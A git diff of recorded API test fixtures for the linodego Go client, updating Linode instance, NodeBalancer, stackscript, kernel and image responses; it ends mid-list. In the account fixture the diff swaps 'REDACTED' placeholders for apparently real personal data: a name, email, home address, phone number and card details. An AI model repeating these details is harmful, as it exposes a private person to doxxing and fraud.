"check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 259601, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 357848, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -121,7 +120,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"R34lBAdP455","image":"linode/debian9","booted":false}' + body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"R34lBAdP455!!!","image":"linode/debian9","booted":false}' form: {} headers: Accept: @@ -133,14 +132,15 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 39431235, "label": "nodebalancer-example-instance", "group": "", + body: '{"id": 46624769, "label": "nodebalancer-example-instance", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.23.135"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["139.144.57.74"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-southeast", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, - "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' + "backups": {"enabled": false, "available": false, "schedule": {"day": null, + "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": + true, "tags": [], "host_uuid": "fb926254fc1ebd19daf0c3cf5b05cf55838da099"}' headers: Access-Control-Allow-Credentials: - "true" @@ -155,7 +155,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "651" + - "727" Content-Security-Policy: - default-src 'none' Content-Type: @@ -192,11 +192,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/39431235/ips + url: https://api.linode.com/v4beta/linode/instances/46624769/ips method: POST response: - body: '{"address": "192.168.143.197", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 39431235, + body: '{"address": "192.168.200.144", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 46624769, "region": "us-southeast"}' headers: Access-Control-Allow-Credentials: @@ -240,7 +240,7 @@ interactions: code: 200 duration: "" - request: - body: '{"address":"192.168.143.197:80","label":"node-192.168.143.197"}' + body: '{"address":"192.168.200.144:80","label":"node-192.168.200.144"}' form: {} headers: Accept: @@ -249,12 +249,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes + url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes method: POST response: - body: '{"id": 68671177, "address": "192.168.143.197:80", "label": "node-192.168.143.197", - "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 387287, "nodebalancer_id": - 259601}' + body: '{"id": 483260124, "address": "192.168.200.144:80", "label": "node-192.168.200.144", + "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": + 357848}' headers: Access-Control-Allow-Credentials: - "true" @@ -269,7 +269,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "183" + - "184" Content-Security-Policy: - default-src 'none' Content-Type: @@ -297,7 +297,7 @@ interactions: code: 200 duration: "" - request: - body: '{"address":"192.168.143.197:8080","label":"node-192.168.143.197","weight":50,"mode":"accept"}' + body: '{"address":"192.168.200.144:8080","label":"node-192.168.200.144","weight":50,"mode":"accept"}' form: {} headers: Accept: @@ -306,12 +306,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes/68671177 + url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 method: PUT response: - body: '{"id": 68671177, "address": "192.168.143.197:8080", "label": "node-192.168.143.197", - "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 387287, "nodebalancer_id": - 259601}' + body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", + "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": + 357848}' headers: Access-Control-Allow-Credentials: - "true" @@ -326,7 +326,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "185" + - "186" Content-Security-Policy: - default-src 'none' Content-Type: @@ -363,12 +363,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes + url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes method: GET response: - body: '{"data": [{"id": 68671177, "address": "192.168.143.197:8080", "label": - "node-192.168.143.197", "status": "Unknown", "weight": 50, "mode": "accept", - "config_id": 387287, "nodebalancer_id": 259601}], "page": 1, "pages": 1, "results": + body: '{"data": [{"id": 483260124, "address": "192.168.200.144:8080", "label": + "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept", + "config_id": 550600, "nodebalancer_id": 357848}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -385,7 +385,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "235" Content-Security-Policy: - default-src 'none' Content-Type: @@ -423,12 +423,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes/68671177 + url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 method: GET response: - body: '{"id": 68671177, "address": "192.168.143.197:8080", "label": "node-192.168.143.197", - "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 387287, "nodebalancer_id": - 259601}' + body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", + "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": + 357848}' headers: Access-Control-Allow-Credentials: - "true" @@ -444,7 +444,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "185" + - "186" Content-Security-Policy: - default-src 'none' Content-Type: @@ -482,7 +482,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes/68671177 + url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 method: DELETE response: body: '{}' @@ -537,7 +537,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287 + url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600 method: DELETE response: body: '{}' @@ -592,7 +592,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601 + url: https://api.linode.com/v4beta/nodebalancers/357848 method: DELETE response: body: '{}' @@ -647,7 +647,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/39431235 + url: https://api.linode.com/v4beta/linode/instances/46624769 method: DELETE response: body: '{}' diff --git a/test/integration/fixtures/ExampleCreateStackscript.yaml b/test/integration/fixtures/ExampleCreateStackscript.yaml index 999b0e8ea..4c50ecbe3 100644 --- a/test/integration/fixtures/ExampleCreateStackscript.yaml +++ b/test/integration/fixtures/ExampleCreateStackscript.yaml @@ -2,8 +2,8 @@ version: 1 interactions: - request: - body: '{"label":"example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383","description":"description - for example stackscript 2022-10-10 16:10:36.04732714 -0400 EDT m=+9.216392933","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision + body: '{"label":"example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description + for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 1","script":"#!/bin/bash\n"}' form: {} headers: @@ -16,10 +16,10 @@ interactions: url: https://api.linode.com/v4beta/linode/stackscripts method: POST response: - body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33", - "label": "example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383", - "description": "description for example stackscript 2022-10-10 16:10:36.04732714 - -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", + "label": "example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", + "description": "description for example stackscript 2023-05-31 13:49:07.801864 + -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 1", "script": "#!/bin/bash\n", "user_defined_fields": @@ -38,7 +38,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "605" + - "600" Content-Security-Policy: - default-src 'none' Content-Type: @@ -66,9 +66,8 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT - m=+9.216397383","description":"description for example stackscript 2022-10-10 - 16:10:36.04732714 -0400 EDT m=+9.216392933","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision + body: '{"label":"2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description + for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 2","script":"#!/bin/bash\necho 2\n"}' form: {} headers: @@ -78,13 +77,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1071542 + url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: PUT response: - body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33", - "label": "2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383", - "description": "description for example stackscript 2022-10-10 16:10:36.04732714 - -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", + "label": "2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", + "description": "description for example stackscript 2023-05-31 13:49:07.801864 + -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 2", "script": "#!/bin/bash\necho 2\n", "user_defined_fields": @@ -103,7 +102,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "615" + - "610" Content-Security-Policy: - default-src 'none' Content-Type: @@ -131,9 +130,8 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"3 2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT - m=+9.216397383","description":"description for example stackscript 2022-10-10 - 16:10:36.04732714 -0400 EDT m=+9.216392933","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision + body: '{"label":"3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description + for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 3","script":"#!/bin/bash\necho 2\necho 3\n"}' form: {} headers: @@ -143,13 +141,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1071542 + url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: PUT response: - body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33", - "label": "3 2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383", - "description": "description for example stackscript 2022-10-10 16:10:36.04732714 - -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", + "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", + "description": "description for example stackscript 2023-05-31 13:49:07.801864 + -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": @@ -168,7 +166,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "625" + - "620" Content-Security-Policy: - default-src 'none' Content-Type: @@ -205,13 +203,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1071542 + url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: GET response: - body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33", - "label": "3 2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383", - "description": "description for example stackscript 2022-10-10 16:10:36.04732714 - -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", + "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", + "description": "description for example stackscript 2023-05-31 13:49:07.801864 + -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": @@ -231,7 +229,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "625" + - "620" Content-Security-Policy: - default-src 'none' Content-Type: @@ -269,7 +267,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1071542 + url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: DELETE response: body: '{}' diff --git a/test/integration/fixtures/ExampleGetAccount.yaml b/test/integration/fixtures/ExampleGetAccount.yaml index b91df39f1..3fa04a656 100644 --- a/test/integration/fixtures/ExampleGetAccount.yaml +++ b/test/integration/fixtures/ExampleGetAccount.yaml @@ -14,14 +14,14 @@ interactions: url: https://api.linode.com/v4beta/account method: GET response: - body: '{"company": "Linode", "email": "REDACTED", "first_name": "REDACTED", - "last_name": "REDACTED", "address_1": "REDACTED", "address_2": "NA", - "city": "REDACTED", "state": "REDACTED", "zip": "REDACTED", "country": "US", "phone": - "REDACTED", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": - {"last_four": "REDACTED", "expiry": "REDACTED"}, "balance_uninvoiced": 0.0, "active_since": + body: '{"company": "Linode", "email": "lgarber@linode.com", "first_name": "Lena", + "last_name": "Garber", "address_1": "2228 Lenox Ridge Ct NE", "address_2": "NA", + "city": "Atlanta", "state": "GA", "zip": "30319", "country": "US", "phone": + "6787613864", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": + {"last_four": "1488", "expiry": "02/2022"}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", - "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "REDACTED"}' + "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "590F6313-2E4D-47CE-90943D2F724A87CB"}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleGetKernel_specific.yaml b/test/integration/fixtures/ExampleGetKernel_specific.yaml index e0dd6b83f..6f521c5c1 100644 --- a/test/integration/fixtures/ExampleGetKernel_specific.yaml +++ b/test/integration/fixtures/ExampleGetKernel_specific.yaml @@ -11,11 +11,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/kernels/linode/latest-32bit + url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-32bit method: GET response: - body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)", - "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", + "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: @@ -70,11 +70,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/kernels/linode/latest-64bit + url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-64bit method: GET response: - body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (5.19.2-x86_64-linode156)", - "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", + "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: diff --git a/test/integration/fixtures/ExampleListImages_all.yaml b/test/integration/fixtures/ExampleListImages_all.yaml index d63b073a0..2810519e7 100644 --- a/test/integration/fixtures/ExampleListImages_all.yaml +++ b/test/integration/fixtures/ExampleListImages_all.yaml @@ -14,188 +14,156 @@ interactions: url: https://api.linode.com/v4beta/images method: GET response: - body: '{"pages": 1, "data": [{"id": "private/17578301", "label": "lke75476-117332-63408dedda63 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4444, "created_by": null, "type": "automatic", "is_public": false, + body: '{"pages": 1, "data": [{"id": "private/20403225", "label": "splunk-build + - Alpine 3.17 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": + null, "size": 5463, "created_by": null, "type": "automatic", "is_public": false, "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578303", "label": "lke75476-117332-63408ded6fe5 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4415, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578305", "label": "lke75476-117332-63408ded0595 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4689, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578309", "label": "lke75477-117333-63408e2ba8de - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4644, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578318", "label": "lke75477-117333-63408e2add48 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4353, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "linode/almalinux8", "label": "AlmaLinux - 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", - "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.12", "label": "Alpine 3.12", - "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.13", "label": "Alpine 3.13", - "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", - "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.15", "label": "Alpine 3.15", - "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.16", "label": "Alpine 3.16", - "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": + null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8", + "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, + "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": + "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false, + "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "is_public": true, + "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/alpine3.15", "label": "Alpine + 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": - false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Arch", "expiry": null, "eol": null, "status": "available"}, {"id": - "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": - 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": - 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian9", "label": "Debian 9", "deprecated": false, "size": 1600, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/fedora34", "label": "Fedora 34", "deprecated": false, "size": 1800, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/fedora35", "label": "Fedora 35", "deprecated": false, "size": 1500, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/fedora36", "label": "Fedora 36", "deprecated": false, "size": 1600, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 4600, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", - "expiry": null, "eol": null, "status": "available"}, {"id": "linode/kali", "label": - "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": + "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol": - null, "status": "available"}, {"id": "linode/debian11-kube-v1.20.15", "label": - "Kubernetes 1.20.15 on Debian 11", "deprecated": false, "size": 3500, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian9-kube-v1.20.7", "label": "Kubernetes 1.20.7 on Debian 9", "deprecated": - false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available"}, {"id": "linode/debian9-kube-v1.21.1", "label": "Kubernetes 1.21.1 - on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", + "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", + "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", + "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": + null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": + "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", + "updated": 